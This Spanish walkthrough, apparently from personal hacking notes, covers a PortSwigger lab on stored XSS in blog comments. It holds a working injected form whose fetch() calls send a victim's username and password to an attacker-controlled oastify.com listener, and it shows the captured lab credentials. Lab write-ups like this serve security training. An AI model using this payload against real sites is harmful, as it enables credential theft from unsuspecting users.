> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/password-capture-via-xss.md).

# Captura de contraseñas mediante XSS

Notas de Captura de contraseñas mediante XSS para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Explotando Cross-site Scripting para capturar contraseñas

Este laboratorio contiene una vulnerabilidad XSS persistente en la función de comentarios del blog. Un usuario simulado (víctima) consulta todos los comentarios después de su publicación. El objetivo educativo es explotar este fallo para exfiltrar el nombre de usuario y la contraseña de la víctima y luego conectarse con estas credenciales.

Se inserta un pequeño formulario en un comentario. Cuando la víctima introduce su información, `fetch()` las solicitudes envían los valores a una URL controlada por el atacante, lo que permite capturar las credenciales.

Formulario inyectado

```html
Usuario:
<input name="username" id="username"
onchange="fetch('https://oa2pwdff52rm383bb9abv5myepkh87ww.oastify.com?username=' + this.value)">
<br><br>

Contraseña:
<input name="password" id="password" type="password"
onchange="fetch('https://oa2pwdff52rm383bb9abv5myepkh87ww.oastify.com?password=' + this.value)">
```

* El formulario anterior activa el envío de `nombre de usuario` y `contraseña` campos a la URL de escucha con cada modificación (`onchange`).

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d1b27d906c6c150b7fd545fb67228b7d457f65c%2Fimage%20(424).png?alt=media" alt=""><figcaption></figcaption></figure>

Credenciales capturadas:

* **Nombre de usuario:** `administrador`

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c889809afe3bbb156de3afe3d443ca67944b67c5%2Fimage%20(425).png?alt=media" alt=""><figcaption></figcaption></figure>

* **Contraseña:** `qzkcz73zlwri7yiwpf31`

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc77aa1737c90db6e15fd6f3c33367ffe67503cd%2Fimage%20(426).png?alt=media" alt=""><figcaption></figcaption></figure>


---

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